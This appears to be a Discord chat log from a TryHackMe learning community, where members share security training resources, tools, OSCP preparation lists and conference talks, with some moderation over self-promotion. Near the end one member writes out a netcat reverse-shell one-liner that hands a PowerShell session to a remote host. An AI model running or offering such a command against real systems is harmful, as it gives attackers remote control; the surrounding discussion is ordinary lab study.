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No problem!
short guide on setting up apache virtual hosts, https://www.jake-ruston.com/posts/apache-virtual-hosts.php
Virtual host routing allows you to host multiple websites on one server, with one IP address.
Thanks for this, I've been secretly wanting a guide but tried it myself yet
:D let me know how it is 🥺
@night ether I was actually looking for something like this too, thank you!
you're welcome :D
@night ether dang so popular
heck yeah 😌
I didn't know I was looking for this- but I am now
short guide on setting up apache virtual hosts, https://www.jake-ruston.com/posts/apache-virtual-hosts.html
@night ether i dont know what this is but suddenly i want to read it
I am Jake Ruston, a keen advocate for open source software and aspiring penetration tester.
It's a useful trick to know
@shut ferry i did know I was looking for this, and I'm glad I found it
thank you guys it means a lot 🥺
My website is still in development
It's gonna have some flags on it
(hosted on my own servers)
love u
love u
@night ether keep your greasy paws off him 🤤
@night ether keep your greasy paws off him 🤤
@night holly
Download and install the latest cyber security threat intelligence tools (free and open source) to prevent your organizations from existing and emerging threats.
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learn how to create a simple systemd service within linux to ensure an application will always be running, could be useful if you decide to create a ctf machine and want a python, php, nodejs etc. webserver :)
https://www.jake-ruston.com/posts/linux-system-services.php
System services allow you to run an application as a service, so it will always be running in the background.
are there any other topics that could be useful for box creation / sysadmin / networking that people wanna see covered 😌
This website provides resources on cybersecurity to help you in your career.
Confused on this one.
Can anyone confirm?
It's not the actual certifications, just training courses.
@steady lotus Nothing there
@steady lotus Nothing there
@plush spruce where
Wait
Wtf did just happen
This website provides resources on cybersecurity to help you in your career.
Here's a mirror
can anyone share any resources i need to learn scripting in python. Like redirection out to a file, interacting with web pages via request library
If you haven't already,
https://tryhackme.com/room/scripting
or
👀
https://blog.tryhackme.com/python-for-beginners/
@tepid patio I know the basics for looking to write small scripts now
scripting room is for u
or automate thew boring stuff
which is just a book on writing scripts to automating boring stuff
thank you will check it out i really appreciate the help
https://www.thepythoncode.com/article/create-reverse-shell-python
This might also be kinda interesting too
Hey! Please avoid linking self-promotional paid content here (directed towards Naga Sai)
Might as well use free resources for learning the basics, there's enough out there
Also, you linked directly to the checkout haha
Ok now I don't think it's clear who this applied to
@flint scroll ^^
@ebon valve thinkific
teachable
defaultly puts checkout page
ok
i had explained almost every video like this debugging and then inspecting in memory
if you liked this video you will love my course
check my C Programming Course
https://naga-sai-s-school.thinkific.com/enroll/903361?price_id=982047
this is free resource right
Instead of using this content that advertises a paid course, I recommend some actually free content
you can see this video freely
🙂
video doesnot advertise paid course
description does
Yeah that's ok
Since the video isn't serving mainly as an advertisement and does have educational content that's fine to post
I'll stand by sololearn which teaches it all for free
@odd quest uguys dont let small guys promote
but if cybermentor posted a course on udemy
u guys promote
lol
That's different
its the same
thanks for that 🙂
https://blog.tryhackme.com/python-for-beginners/
@tepid patio Holy crap, I forgot about this, thanks for sharing it, reminded me of the early times when blog was first introduced.
IT Security Certification Roadmap charting security implementation, architecture, management, analysis, offensive, and defensive operation certifications.
very cool guide, you just have click on the certificate, and it will send you to the website of the certification !
Ice Room, Task 7 is great. I decided to learn a bit more about msfvenom, which has been fun. In a CTF or some other environment where you can't phish someone to download the exploit or setup a website to have them browse to it, how do you deliver it without metasploit? Any good reference material on this? To get an intro to exploits without metasploit, I liked both https://medium.com/@hakluke/haklukes-guide-to-hacking-without-metasploit-1bbbe3d14f90 and https://medium.com/@PenTest_duck/offensive-msfvenom-from-generating-shellcode-to-creating-trojans-4be10179bb86.
reNgine is an automated reconnaissance framework meant for gathering information during penetration testing of web applications. reNgine has customizable scan engines, which can be used to scan the websites, endpoints, and gather information.
amazing tool for BugBounty of web apps !!!
docker dowload for the tool https://hub.docker.com/r/yogeshojha/rengine
Throwback to one of my fave articles https://medium.com/hackernoon/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
It’d be nice if the official write up for a room submission could be either an image or pdf or something other than a link
An... image?
It can be, if you host that file @cloud brook
It can be a PDF (although they're annoying as heck for the testers) -- you just have to host it yourself
I'd rather a PDF than a video
Agreed on that
Clarification. PDFs in the browser are fine
(i.e. Google Drive or equivalent)
PDFs you have to download are annoying
Videos are just a pain in the arse
Noted. Also I meant to put this in feedback sorry
I'll have a video up on room creation soon: https://www.youtube.com/channel/UC0R_-7yQPoGpkPR9ITzDFFQ/playlists?disable_polymer=1
you mean dark is active on his video platforms wow who could've known
ah man, now I've gotta be active

I'll post videos here as they go up of course
Will you pay me $5 to basically scribe everything
not even in £

jkjk
It's only because I'm bricking that part on Saturday
Ill google translate so you can have different language subtitles $5 for each subtitle
Okay deal
Cry you can deal with english
I'll deal with chav/roadman english
Muirl can do scottish which ain't anywhere near either of the two
youtube auto caption might be more accurate
Dark, permission to use sweary word? 🥺
Danke ♥️
Actually, I'll do one better and just use sweary emoji
smh 🤣
https://github.com/ReverendThing/Carnivore
https://github.com/ekiojp/circo
https://github.com/utkusen/jeopardize
https://github.com/JPCERTCC/MalConfScan-with-Cuckoo
https://github.com/MobSF/Mobile-Security-Framework-MobSF
https://github.com/Viralmaniar/Phirautee
https://github.com/GoSecure/pyrdp
Microsoft External Attack Tool. Contribute to ReverendThing/Carnivore development by creating an account on GitHub.
Cisco Implant Raspberry Controlled Operations. Contribute to ekiojp/circo development by creating an account on GitHub.
a low(zero) cost threat intelligence&response tool against phishing domains - utkusen/jeopardize
Cuckoo Sandbox plugin for extracts configuration data of known malware - JPCERTCC/MalConfScan-with-Cuckoo
There will be workshops at Defcon for all of the projects that I just posted as well as more https://defcon.org/html/defcon-safemode/dc-safemode-demolabs.html
Demo Labs at DEF CON 28 Safe Mode!
@azure widget Do you have resources of learning and practice RE?
no
Hi @sturdy shell , thanks
for the response
The book that i was reading of RE is not worth the value the teaching is to bad and doesnt teach you how to do a static analysis in a correct way
Putting up another flash sale through the 31st.
Practical Ethical Hacking - $12.99 https://t.co/qP8SlGHRql
Windows PrivEsc - $12.99
https://t.co/gZUAfsLoaF
Linux PrivEsc - $14.99
https://t.co/a8FxYN0iQF
126
for $13 a pop guys....
Considering TCM has his privesc rooms on here too
Danke ♥️
Actually, I'll do one better and just use sweary emoji
Seems like u are German people
Hey , does anybody know about some really cool podcasts for cybersecurity stuff? Or blogs
This Week in Tech
Black Hills InfoSec
DeviantOllam's talks on YT (normally recorded from Wild West Hackin' Fest or DEFCON)
Privacy, Security, and OSINT
Thanks bro!
the bellingcat podcast for OSINT
Learn the basics of how to create rooms on TryHackMe!
Further documentation can be found here: https://help.tryhackme.com/room-creation/room-creation-overview
Follow me on Twitter: https://twitter.com/darkstar7471
Join my community discord server: https://discord.gg/NS9UShn
if anyone was looking into doing some cloud stuff :)
https://twitter.com/mcohmi/status/1289339614059085829
my course pls give review if u watch video
https://youtu.be/EVKq2UdoefE
Sorry for my english
i am just not good at it yet
TimeStamps
Module 1 : Before Getting Started
0:00 1. Welcome
04:37 2. History of C
06:56 3. C Program Compilation
10:54 4. Brief Intro on Assembly Language & Assemblers
20:39 5. Decimal , Binary , He...
was the writeup approved?
@topaz pier
it seems like not, could you please remove it for me until the creator approves it?
already removed
by a mod, yes
guys can somone help me with some buffer overflow? (sotty if it is the wrong chat)
Probably #room-help if it's related to a THM room, or #general if it's just about something in general
🥳 Ciphey 5.0.0 is released after 2 months of very hard work. Key features include: ```diff
- Recursive decryptions using custom built search algorithm(s)
- Regex support
- Better English Language Checker
- New EZChecker which combines the best of all checkers, including REGEX for flags.
- New decryption methods
- Much, much faster
- No more Tensorflow, now custom built AI is my best friend
- New easy to use interface for adding new crackers, decoders and checkers
``` https://github.com/Ciphey/Cipheypython3 -m pip install ciphey --upgrade
RustScan is now available via a single docker command (image is 698mb where the builder for the .deb was 2.9gb not including dependencies)
a) if you don't want rust/cargo on your pc but want the same, but reduced size rustscan
docker run -it cmnatic/rustscan:debian-buster rustscan <ip address>
it'll take a few mins to build at first but that's rust being rust. pass arguments as per the README like normal
^^ you also likely won't experience OS limits using the docker version :) 💞✨
like wireshark but extracts usernames and passwords as well kerb tickets and ntlm hashes
Oooooh that sounds juicy as
guy i need some help,
where do you think can i learn memory dump analysis cause i am facing some issues with it
which according to me is because i don't understand memory dump forensics as a whole
when i say that i mean is that ik that we use volatility for memory dump analysis and i know how to use it and the basic stuff but then
i can use a dlllist command even though i don't know what is a dll
i can look for handles even though i don't know shit what handles are
so the issue is concepts for a specific kind of analysis which i need to understand
i need to understand the shit that i am doing
so is there anything you'd say i can do to work on them
or rather specifically in case of memory dump analysis
short guide on setting up smb shares :)
https://www.jake-ruston.com/posts/linux-samba-shares.php
SMB shares provide a way to access shared folders over the network.
@hearty anchor That sounds like you need to learn about how Windows works before you can analyse Windows memory dumps
what is a <thingGoesHere> windows is a good query to start with
@odd quest so where can i find that as whole resource sort of thing cause googling every new word i come across isn't very time effective so i was looking for some site or any resource where i can go and study how windows works
You can probably find a course on it, but googling new concepts is kinda mandatory
hmm k, thanks
@hearty anchor The Art of Memory Forensics
@white pivot thanks i got its pdf, i'll get started with it
Have fun
@hearty anchor If you want to start with memory forensics and even gain good knowledge, try this out
yaa i've seen this one before but thanks @lethal zephyr
Does anybody have any good resources for learning SEO? I’ve got a personal project which I’d like to develop alongside my personal blog but I don’t know a lot about SEO.
@tepid patio
Does anybody have any good resources for learning SEO? I’ve got a personal project which I’d like to develop alongside my personal blog but I don’t know a lot about SEO.
@shut ferry i have my personal notes :)))
thanks for the tag
and
brian dean is the best for SEO imo
For tools, Ahrefs is literally the best in the business by a long shot 😛 https://ahrefs.com
That’s awesome. I really appreciate it. Will have a read up on the resources you’ve linked
@lone crane #thm-community-media
sorry..
@lone crane Also, do not post writeups until they have been accepted on the room
Attack Detection Fundamentals: Improve how you use the detection techniques in your existing enterprise stack and get to grips with some you’ve probably not heard of. https://www.f-secure.com/en/consulting/events/attack-detection-fundamentals-workshops
The biggest cybersecurity resource is coming in 2 days on august 6th defcon starts until the 9th they will have some pretty impressive talks, demos, villages, exams, as well as private events. There will be 31 different villages all with different talks as well as events check it out if you dont already know about it. It is free and all online https://defcon.org/html/defcon-safemode/dc-safemode-schedule.html
Talk Schedule for DEF CON 28 Safe Mode
Jai Minton's DFIR Cheatsheet: https://www.jaiminton.com/cheatsheet/DFIR/
Red Team Village is holding free 2-4 hour workshops, free 30 minute stations as well as their main talks https://redteamvillage.io/training.html
TRAINING - DEF CON Red Team Village
Red Team Village is holding free 2-4 hour workshops, free 30 minute stations as well as their main talks https://redteamvillage.io/training.html
@azure widget I strongly recommend anyone that is interested in bug bounties to check out Jeff Foley's talk and for sure make sure to check Jason Haddix's talk.
TRAINING - DEF CON Red Team Village
I need the best resource for Information Gathering
That is a very generic questions and for that you get a very generic answer: https://google.com
Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for.
@cobalt trout this my secret sauce
https://osintframework.com
@azure widget Yea. seems good. I need at the beginning to provide them with a document regarding assets and techniques for doing passive footprinting
If you can’t find what you need in that framework you shouldn’t be osinting
Hey guys, as I have to create a detailed document about Passive Footprinting and Recon, I have to list the best assets and techiniques for that thing.
What do you think about this tutorial and its recommended tools?
https://securitytrails.com/blog/osint-tools
dont ban me for that , just give warning if its violated
No self-promotion of paid content in #resources.
@ebon valve
Let's not promote paid content like that
It's clear that as this is self promotion you're doing that as advertising
Free videos are fine but explicit advertisement which is abundantly clear that is self-promotion for monetary gain is not ok
that link contains free preview video
If you have free YouTube videos you want to post every once in a while that's more than okay
...
A free preview video in an otherwise blatant ad
Not to mention, you're not otherwise active here. It's clear the THM discord for you is an advertising space
Consider this a final warning
then go and promote cybermental's course
even though we can get that from google
once see that preview and say
just dont ignore any one's hardwork
I can tell you for a fact that TCM's courses are of quality (which none of us know if yours are)
Banned for self-promotion with a clear purpose of monetary gain rather than just a simple YouTube video
And arguing with staff when provided both clear guidelines and a chance for actually posting content
welp, i'm expecting another video about thm from him 👀
fair enough lol
James likely
(Dark, officially)
I think Dark actually
Yep
I had stepped in previously and clearly explained the rules and what he was allowed to post
also, if someone who is very well-known in the community like Tib's or TCM posts their course that is very different
Including in the message that you would like to be warned rather than banned is a clear indicator that you know it's wrong 🤷♂️
also, if someone who is very well-known in the community like Tib's or TCM posts their course that is very different
To be fair, that probably also shouldn't be being dumped in resources unless it's for one of their big "get it free for a day" promotions. Just to keep it really fair.
Although promoting it elsewhere, given their reputation, can't really be seen as an issue -- especially given their usage of the site
So that means I can promote stuff 
I mean if you contribute and actually give back to community, hell yeah you can post free youtube videos
I try my best
and I don't actually want to promote myself or anybody
Next Generation Offensive Security Suite
Hey guys, as I have to create a detailed document about
Passive Footprinting and Recon, I have to list the best assets and techiniques for that thing.
What do you think about this tutorial and its recommended tools?
https://securitytrails.com/blog/osint-tools
@cobalt trout Someone?
@cobalt trout this isnt necessarily the best place to recieve feedback on articles. Plus, a lot of those aren't even OSINT tools, nmap is an active scanning tool so it shouldn't be on there because the results aren't open to the public (which is basically a requirement to be an osint tool)
@arctic mist Can you recommend on something that would be proper?
@cobalt trout I would suggest not writing a blog on the “best” osint tools if you don’t even know of any osint tools
To me, it sounds like they need to write a school paper
I would suggest "haveibeenpwned" is not a tool you would want to use to perform OSINT on someone else. Sure, you can find out if they were breached -- but it literally emails the person you're trying to get info on too :L
For anyone who wants to learn how to solder, this is a great place to start^
Nice and inexpensive practice piece
It also looks pretty damn cool if you already can solder. Not 100% sure how shipping outside the US works tho
wait this is only 1$ 🤨
I can't select anything but US during checkout so I guess it's US only
They recommend using a forwarding service
sadnootnoises
What is a forwarding service ? Drop services ?
You get it shipped to them, they ship to you
$1 but they probably get you back on the shipping costs 
$20 soldering kit that you can order with it too
no it’s a free badge they do it every year the 1$ is only to offset shipping costs
DEF CON is officially uncancelled! For our virtual booth, we're offering 35% off everything at https://nostarch.com/ with code UNDEFCON now through August 9.
Nostarch are having a sale for defcon
If anybody's interested in Blue Team work and the tools used, the Blue Team Village is starting their talk right now https://www.twitch.tv/BlueTeamVillage
Welcome to the other side of the hacking mirror. Blue Team Village (our friends just call us BTV) is both a place and a community built for and by defenders. It's a place to gather, talk, share, and learn from each other about the latest tools, technologies, and tactics that o...
Yes, s
is it really laggy for anyone else?
elearn has a sale currently
For those that come from a different background and are looking to get into cyber security here is a video by hak5 with different people from different backgrounds and how they got into cyber security and how you can make the switch
Most hackers change careers from normal jobs, so we asked the hackers of Defcon 2019 what jobs they came from, and how they got started.
If you've ever wondered where hackers come from, or how you might get a job being paid to hack, you might be surprised by the stories of te...
I have to create a document on Passive Footprinting and Recon - description, assets, techniques, useful tools.
Can you please give me some good resources for that? Especially for the best passive tools.
Thanks.
@cobalt trout you have asked this question 3 times if not more in the past 24 hours please don’t post multiple we have given you resources please either use them or do your own research don’t keep spamming this channel
👍
Also, we're probably not going to do your homework for you
probably
https://www.youtube.com/watch?v=EJn2-hdxxWg&feature=youtu.be it's live if anyone is interested
i think burp is just more recommended
I have to buy pro naah. I just passed out of college.
There's a room on zap
@odd quest I ll check it out.
any reference where i can learn all about AD attacks and Defense totally at beginers level !! Need help
TryHackMe has some rooms on it. How much have you learnt about AD so far?
.Initial Attack vectors,
SMB relay attacks
IPV6 attacks but i still dont feel confient abt them
so need a good resource to learn from beginning again
@odd quest So do i need to have the subs to get to the room
Some.
@odd quest any free resources you can direct me to
I don't have any to hand
@odd quest alright thank you
@winter raven https://adsecurity.org/?page_id=4031
This page is meant to be a resource for Detecting & Defending against attacks. I provide references for the attacks and a number of defense & detection techniques. Active Directory & Windows Security ATTACK AD Recon Active Directory Recon Without Admin Rights SPN Scanning – Se...
Hello. maybe i am in wrong discord room :
I try Metasploit room : https://tryhackme.com/room/rpmetasploit . Part 1 says : "The virtual machine used in this room (Ice), a worksheet version of this room, and the subsequent answer key can be downloaded for offline usage from https://darkstar7471.com/resources.html" . But this link doesnot answer for me
can someone try the ressource link please ?
@odd quest You saw it. this is good thanks man
https://archive.ooo/
Order of the Overflow Defcon CTF archives
Do you have anything about C2? (e.g. Theory, Setup, usage)
Anyone got any good patch panelling documentation resources? i.e. marking what ports are for vlans, goes to what cabs etc on spreadsheets for server racks please?
would save me an absolute tonne
I made a really useful excel template but I cna't find it
pls
@winter raven https://adsecurity.org/?page_id=4031
@craggy onyx thankyou
This page is meant to be a resource for Detecting & Defending against attacks. I provide references for the attacks and a number of defense & detection techniques. Active Directory & Windows Security ATTACK AD Recon Active Directory Recon Without Admin Rights SPN Scanning – Se...
@sturdy shell Did you still not find anything good on bash scripting
Sorry for the ping 😦
@queen wyvern https://learnxinyminutes.com/docs/bash/
That's some hot stuff, but not what I was looking for
good video on proxychains with a fun little challenge at the end :)
https://www.youtube.com/watch?v=qsA8zREbt6g
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**This video and my entire CEHv10 journey is sponsored by ITProTV
watch the entire series: https://bit.ly/...
Follow us on:
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Website:
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Embedded device researchers often come across traditionally valuable vulnerabilities, such as command injection, who...
Get insight into your security portfolio investment in technology and people. What works? What doesn’t? And why. All within the context of your business impact. The SCYTHE platform allows you to bound the attack space to provide real data insights.
I wrote a blog post on making hacking accessible 🙂 https://bees.substack.com/p/making-hacking-accessible
anyone got a big list of different types of hash formats? cant seem to find a good one online
anyone got a big list of different types of hash formats? cant seem to find a good one online
@silent vine https://hashcat.net/wiki/doku.php?id=example_hashes
is this what u mean?
yes perfect thank you :)
What’s updog?
A user in #bookclub recommended I drop a resource in here that I found for learning x86 ASM. 🙂 https://www.youtube.com/playlist?list=PL038BE01D3BAEFDB0 Hopefully some of you find it useful.
Videos from Xeno Kovah's 2 day "Introductory x86" Fall 2010 class. Creative Commons licensed class materials are available at http://OpenSecurityTraining.info.
New version of ciphey 🙂 ```
- Added Atbash cipher
- Added Standard Galactic Translation (Minecraft enchanting table)
- Added X&Y (so if you have a file with only 2 chars, X and Y, it will convert it to binary``` https://github.com/Ciphey/Ciphey
This seems v/ fun, the description makes it sound like what new junior pentesters get wrong? Haven't seen it yet https://www.youtube.com/watch?v=PtCk3OMeV5g
Forrest Fuqua (JRWR) - JRWR creator of Hatchan, 3 years of NECCDC (Collegiate Cyber Defense Competition) Redteam, and defense industrial base cybersecurity pentester / auditor has been seeing all the mistakes everyone is making and works hard to try and get people to understan...
its basically college kids competing against a professional red team trying to defend a network its basically just stories about what they did. The talk was really good and pretty funny
Yeah, I really enjoyed this one
You get to see what the extent of a red teamer can do when they don't have much restrictions against actually screwing around with the blue team
They even do things like actually physically walk into the room and swap laptops and such, which is pretty hilarious
This seems v/ fun, the description makes it sound like what new junior pentesters get wrong? Haven't seen it yet https://www.youtube.com/watch?v=PtCk3OMeV5g
@tepid patio I'll give it a try
Forrest Fuqua (JRWR) - JRWR creator of Hatchan, 3 years of NECCDC (Collegiate Cyber Defense Competition) Redteam, and defense industrial base cybersecurity pentester / auditor has been seeing all the mistakes everyone is making and works hard to try and get people to understan...
Creating, editing and abusing .lnk files in Windows to gain command execution
Someone's doing an 4ndr34z/theart42 box are they? 👀
😁
https://github.com/H0j3n/EazyPeazy
@modern abyss work in progress? come .md empty
Is anyone here familiar with terminal settings, specifically geometry, and how it interacts with various binaries
I wrote up some tips for those worried or stressing about their OSCP exam day. https://medium.com/@j.w.helle/10-tips-for-success-on-your-oscp-exam-413db4e2ed1b
@jaunty pulsar yea it still in progress and i will update it more :)
@jaunty pulsar yea it still in progress and i will update it more :)
@modern abyss i tried tou use your python script but is not working
Check out my website! https://pentestlife.com
Have you seen online guides telling you to enable no_root_squash on your NFS server? That may not be the best idea... Here's how to exploit that in order to go from a low privilege shell to a root shell.
This video is for educat...
List of privesc (in gnu/linux)
@topaz gulch https://github.com/sshuttle/sshuttle
soooo much faster than proxychains, no root required either
🤣
It's tunelling web traffic just fine
https://github.com/xct/xc
xct is a 
A good resource for intership resumes : https://github.com/codebytere/so-you-want-an-internship
Since this got brought up in note taking convo, here's what I used to learn LaTeX for my 3rd year of University:
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Learn the absolute basics to get started, also very good to keep as a cheatsheet when writing https://www.cs.princeton.edu/courses/archive/spr10/cos433/Latex/latex-guide.pdf
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Learn how to make a good template, or find a suitable one for you, it allows you to really departmentalise your writing. Have a folder for the images, templates often make a seperate
.texfile per section of your paper, where it's just imported/referenced afterwhich in the main.texhttps://guides.nyu.edu/LaTeX/templates -
THIS PLAYLIST https://www.youtube.com/playlist?list=PLDD406480D35CE390
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Make a free account on Overleaf, an in-browser LaTeX editor. Their documentation (https://www.overleaf.com/learn/latex/Main_Page) is absolutely incredible. Especially the "Learn LaTeX in 30 minutes" (https://www.overleaf.com/learn/latex/Learn_LaTeX_in_30_minutes). Genuinely can't overstate how good Overleaf is. Tonnes of templates too so you can have a look at how others design their docs. If your University needs/uses LaTeX, they'll have a template - look/ask around.
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LaTeX is old af and is the hardstuck uncle of the family, theres tonnes of free resources from late 2000's that will still be relevant to you today
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Look into plugins for your referencing and/or stylizing of chapters, pages, etc later. Get your thoughts to paper whilst making placeholder for your references - give it that true LaTeX feel later.
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Honestly just bite the bullet and get started, it's awful to approach but you'll really come to learn to love it esp. for academia (and so will your lecturers). Googling your way around with overleaf docs is the best way to get things done
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TIP: Understand the different document types, there's a huge difference in what they will allow and how they will end up looking. Writing scientific? Pick scientific.
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TIP: Version control v frequently, it'll save your bacon.
Pin dis
cc @topaz gulch (:
Have on at it and get converted today
I've been avoiding LaTeX for 20+ years... 🙂
Used for our new browser-based machines, thought I'd throw it in here too. Simple & clean desktop background.
@sturdy shell Been looking at LaTeX tutorials for an hour now and it's awesome. FINALLY I know how to do that formatting which I couldn't do in msword.
Also, I think, this video is way more latest and helps setup things way easier for 2020.
Might wanna add it to your huge para
(Video is not mine. I just saw it while looking for resources on LaTeX)
https://youtu.be/DRb1XxYvJi0
Note taking is a topic I've wanted to make a video on for a while. A lot of experimentation during my classes has taught me a few strategies for using Atom to take notes. I'll be showing you how to set up Atom and LaTeX so you can make beautifully typeset notes during class!
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@Zoijja LAtek is like the ultimate in self generating network documentation ... you can inherit stuff between documents
update a source element, and bam all downstream is fixed
You use it with a tool like uhhh "Docear" and your network maps are also instantly fixed
you talking about latex?
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@tranquil shuttle awesome bro
The thing i dont like from notion (even if i use rigth now) is that it doesnt have colors to make words notable
@jaunty pulsar yeaah you can’t highlight them i think but it i if i am not wrong you can still change the colour
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@jaunty pulsar yeaah you can’t highlight them i think but it i if i am not wrong you can still change the colour
@tranquil shuttle yeah but those color are very weak
It could work with a white blackground yeah, but i dont like white background so in my specific case i dont really like
ohhh okaay that makes sensee
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Not everyone here is a fan of CEH but if someone wants to take the cert it will be 50% for sometime. So take it when yiu have the chance.
Imagine paying 500$ for CEH 
Cert is a cert.. it maybe not useful in terms of knowledge but it's (pretty) well known in the industry and clearing HR so people are taking it just for that. so if you can save money for that then why not? if you don't wanna take it then don't 🤷♂️
at the end of the day it's personal choice. Take it if someone wants it.
@fringe spire do you have any more details on that? I'm kinda intersted in taking LPT to see if its remotely worth it
I just got the email i can forward you that?
yeh, ill dm you my email
spooks@chikabestgirl.local
Got the same email if anyone interested
i must be opted out 
Also don't forget to ask about student discount if you are a student. They don't check tho
i still have access to my student email(s) luckily
They don't check for that
I think I got extra 10% off on CEH when I got it
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$150 for the practical is kinda actually worth it
seeing i forked out 1,000 for the normal thing
Glad you found it useful
actually, I'd be willing to say its probably more than worth it seeing it'll get you into public sector state side a lot easier
you need CEH before CEH practical, right?
does someone has some information about azure sentinel?
"some" 😕
OSCP Prep:
A beginners guide:
https://forum.hackthebox.eu/discussion/1730/a-script-kiddie-s-guide-to-passing-oscp-on-your-first-attempt
OSCP-like machines:
https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0
More OSCP-like machines:
https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms
OSCP Prep guide:
https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/
Repo with notes: (please don’t just use these notes. Make your own notes out of these. You won’t learn from just copying other’s notes)
https://github.com/rewardone/OSCPRepo
OSCP & PWK FAQ:
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OSCP Review:
https://medium.com/cybersecpadawan/the-long-awaited-oscp-review-5a377f103a39
OSCP Tips:
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More OSCP-like machines:
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https://i.imgur.com/iwnnZgu.png
OSCP Guide:
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Part 3: https://medium.com/@hakluke/haklukes-ultimate-oscp-guide-part-3-practical-hacking-tips-and-tricks-c38486f5fc97 (Tips and Tricks)
Presentation about OSCP:
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Your probably thinking, “man not another I did OSCP” blog or rant. Yes, there are a lot out there and everyone wants to share their experience.
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I will be giving more resources soon btw
I will be giving more resources soon btw
@shut ferry Edit your message and add more into them, instead of posting more. That way we can have a unified resource list in this channel 😄
Sure! :)
@proven bramble and TJNull have an OSCP list of things to do (boxes on multiple platforms including THM), which would be cool to add. Although I'm not sure where it is, Major should be able to help. Also!!! Major has OSCP-like boxes coming up this Friday which would be v/ nice to add too 😄
Oooo
Yep. I worked with Skidy to revamp the Offensive Pentesting path this week as well, so there is some new stuff in there that is more applicable.
Those as well.
Mind if I add them to the list?
Please do.
This is the image from the first article.
Shows all the writeups I did as a replacement for the PWK labs and course, since I skipped both of them.
@shut ferry for the images you may need to upload to IMGUR and link them or something?
Yeah haha. I can’t do it rn but I can do it later, is that okay?
Yeah haha. I can’t do it rn but I can do it later, is that okay?
@shut ferry not your boss so do whatever you want 😄 It's just cool to have one single resource 😛
Thanks both of you. That's really helpful (alooot) 😍
<3
Updated it again with a nice little article I found for beginners :)
Added a little presentation about OSCP prep thanks to @icy marsh!
Page gave me a 404
anyone know how to upgrade a powershell reverse shell like you can with a bash reverse shell?
Upgrade it? Do you mean privilege escalation?
I'd assume stabilise?
I also wanna know how you got a powershell reverse shell I’ve never heard of one
Page gave me a 404
@civic escarp Im sorry you can go to https://github.com/H0j3n/EazyPeazy and MyTools>Ezpz Shell 🙂
@raw crown only way I've found so far (including by asking more experienced friends) is by using the Powershell to activate a Meterpreter shell, which is obviously stable. Theoretically it should be possible to do with rlwrap and your stty settings in your own terminal, but I've had some.. interesting results with it. Let me know if you do find something!
@topaz gulch This might be able to help you 🤔 https://github.com/antonioCoco/ConPtyShell
Ooh, that looks good mal!
Only useful for server 2019 onwards though?
Still good to know about
Yeah, maybe it only works on build >= 10.0.17763 from the looks of it
I mean, at least Microsoft are TRYING to make our jobs easier, right? 😁
Ha ha ha.
So on /r/UnixPorn, someone put together a script that changes the color of the command line the less space you have to fit it on a screen. It works with ZSH. With Kali moving to ZSH in 2020.4 and it being optional now with 2020.3, I think it might be a cool option for folks with smaller screens. I won’t use it but someone else might.
zsh is nice in my opinion, I just stick with the default theme + nerd fonts, since it's simple and just what I need, you could also use something fancy like powerline which most people prefer
I like powerline. It's really nice
Yeah they were going to move to Fish but apparently it broke something that I don’t really understand.
Zsh is great
https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/
https://soroush.secproject.com/blog/tag/unrestricted-file-upload/
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Ew, Kali is moving to ZSH?
@topaz gulch just because they wanted a two line prompt like Parrot has.
Ew
What does this mean 🤔
@shut ferry "parrot terminal prompt" into google will answer that
Parrot's prompt is hideous
lies
As I'm discussing/centering around VANET's (a subset of vehicular networks) for my masters dissertation it reminded me of this really good talk at Defcon this year https://youtu.be/L9UUD3a7xP4
Really interesting talk, it's a bit hard with the accents & sound levels but so is every other talk this year
New systems are connected to the internet every day to make our lives easier or more comfortable. We are starting to see connected traffic and smart traffic lights innovations to improve traffic flow, safety and comfort. With smart systems entering and controlling our physical...
It's a bit slow to pickup but the theory is important - it gets a lot more practical as the talk goes on
Any excuse to reference Defcon in my academic work
Common ports and the services that are expected to run behind them cheatsheet. It's not indicative (i.e. a web server doens't have to run on port 80, it can run on whatever) but it's still pretty handy especially for studying certs like CPSA as it was brought up in #general https://packetlife.net/media/library/23/common-ports.pdf
@topaz gulch i will have to play with metasploit still not super comfortable with it. You're right about stty, i gave it a shot earlier couldn't get it to work right either
Oh, definitely, meterpreter is the way to go -- works on everything
That ConPTY looks good for Server 2019/Windows 10 though
Meterpreter when you're not doing OSCP, at least
nc.exe <ip> 1234 -e powershell.exe /win
Spooky did you grab an actual hta path or did you just spam your keyboard?
i slammed my keyboard
Any good resources for practicing or studying Security +?
@rain carbon Do you have the rights to share that first one?
Yeah nope. Please remove it if you don't have the rights to distribute it to others
Thanks
np
@agile sluice Could I ask you to please not post those here until they've been accepted in the room? 🙂
This is the second time as well he has done it IIRC
If it's a vulnhub box with writeups there then it's less of an issue, tbf. Still technically against the rules though 🤷♂️
This lady from the conference I'm attending made this, and I thought some of y'all may benefit from this too ^_^
https://breanneboland.com/blog/2020/01/27/how-an-sre-became-an-application-security-engineer-and-you-can-too/
wow I've been in security for 16? years, first time I've heard of SheSecurity 🙂
I kinda love it :3
yeah, that site has a lot of good resources in general
seems fairly new but could be an interesting c2 alternative https://github.com/bats3c/shad0w
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@spare vapor I'm going to have to formally warn you. I've told you to stop politely, but what you're asking for sounds incredibly suspicious and you're breaking rule 9. You have no reason to know that information. Please stop, and familiarise yourself with #rules to stop this from happening again 😄 
Also if your friend did lose their phone they would have used find my iphone or find my device with android
Plz can I get the strictly prohibited group instructions or Rule plzz?
I wanna to read again.
Also if your friend did lose their phone they would have used find my iphone or find my device with android
This is the only correct answer here
is it cherrytree really buggy for everybody?
Cherry tree is no longer supported
I would use another note taking platform like notion or Joplin
wait did they start back up support for cherry tree I thought it was deprecated...
Last I checked there were still updates coming out @azure widget
It's KeepNote that's deprecated
That said, if CherryTree is abandoned, I will take it up myself
Ahhh yes keepnote was what I was thinking of
cough. Joplin
I'll help you @topaz gulch
Ey
I've been using CherryTree as well recently, so 😁
I've started using OneNote, although I've been trying to use OneNote for years at work with not much success, I do like the organization
i just started using cherrytree and you guys are telling me it's broken? 
JOPLIN FOR THE LOVE OF GOD
It's not broken per se. It's not the best either (just my thoughts)
Why didn't you start with notion or joplin
i was using leafpad/sublime text before. recently started using cherrytree.
Have you tried notion yet ?
no
